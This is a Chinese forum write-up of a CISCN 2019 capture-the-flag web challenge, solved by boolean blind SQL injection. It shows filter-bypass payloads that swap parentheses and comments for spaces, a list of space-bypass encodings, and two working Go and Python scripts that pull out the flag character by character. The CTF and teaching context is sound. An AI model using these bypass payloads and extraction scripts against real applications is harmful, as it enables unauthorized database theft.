查看: 78|回复: 0

[Web] ciscn_2019_web_northern-china-web1

[复制链接]
发表于 2020-5-9 13:06:42 | 显示全部楼层 |阅读模式
                                                                                        CISCN2019 华北赛区 Day2 Web1
过程  启动环境,打开页面

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1
  好久没做了,拿到有点一脸懵逼…
  不过看到提示说是花式盲注,就按照sql注入的思路先试一下
  随便输入了一些值看了下返回结果
  首先是一些正常输入吧,1和2输入是有一句不同的话返回,

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1
  其它数字返回"Error Occured When Fetch Result",

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1
  输入别的字符是返回"bool(false)"

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1
  然后随便输入一些注入语句尝试,会发现有规则过滤

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1
  这里1,2可以返回不同的页面,然后上面的bool(false)也算提示吧,基本就会想到用bool注入
  常用的bool注入形式 xx and xx,这里and被过滤了,这种形式不行,而且我们的逻辑是对的输入1错的输入2,这样的形式
  这就肯定想到用if, if (ascii(substr((select flag from flag),1,1))=115 ,1,2)采用这样的形式,但尝试了一下返回被检查到注入攻击,但试了下上面的关键字发现都可以用…
  菜鸡挠头…
  偷偷看下wp发现空格也是被过滤的…
  查了下绕过空格检测的方法
  1.通过注释绕过空格
  注释即/**/
  通过注释取代空格
  eg:  or//‘me’//=/**/‘isme’
  2.通过括号绕过空格
  eg: and(1=0)
  试了下1会被检查到不行
  2 使用括号后
  if(ascii(substr((select(flag)from(flag)),1,1))=115,1,2)
  发现返回了"Do you want to be my girlfriend?"
  说明可行,这样的话写个脚本简单的来跑下
  不知道长度就随便写个较大的长度保证能跑完flag就行
package main

import(
"net/http"
"net/url"
"io/ioutil"
"fmt"
"strconv"
"strings"
)

func main(){
var flag string
for j:=1; j<50; j++{
for i:=32; i<128; i++{
resp, _ := http.PostForm("http://127.0.0.1:8302/index.php",
url.Values{"id": {"if(ascii(substr((select(flag)from(flag)),"+strconv.Itoa(j)+",1))="+strconv.Itoa(i)+",1,2)"}})

defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)

if strings.Contains(string(body), "glzjin"){
flag += string(i)
}
}
}
fmt.Println(flag)
}
  为什么用go语言写写这个脚本呢,可能也是闲的吧…
(

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1

  可以看到成功拿到了flag
总结  这道题怎么说了也不算难吧,考查了sql的盲注,但对于我这样的菜鸡依旧解决困难
  总是觉得sql注入的题不好做,想了想,主要还是sql注入它很少有常规的注入能让你直接sqlmap就能跑出来的情况
  一般都会设置各种过滤或者需要各种骚操作去绕过,而这些首先需要耐心吧,毕竟规则这些在不看源码的情况一次次去尝试是很需要耐心的,其次还需要经验吧,比如上面的过滤空格没遇到过,就直接懵逼,最后可能再需要加点灵感吧
  然后看了大佬的wp发现绕过空格还有下面的一些手段
  空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
python版脚本:
import requests
import time

url = "http://xuenixiang.cn:20486"
res = ''
for i in range(1,51):
        print(i)
        left = 31
        right = 126
        mid = left + ((right - left)>>1)
        while left < right:                
                payload = "1^(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(i,mid)
                data = {"id":payload}
                r = requests.post(url = url, data = data)                
                #print(mid)
                if r.status_code == 429:
                        print('too fast')
                        time.sleep(1)
                if "Hello" not in r.text:
                        left = mid + 1
                elif "Hello" in r.text:
                        right = mid 
                mid = left + ((right-left)>>1)
        res += chr(mid)
        print(str(mid),res)

ciscn_2019_web_northern-china-web1

ciscn_2019_web_northern-china-web1

温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
快速回复 返回顶部 返回列表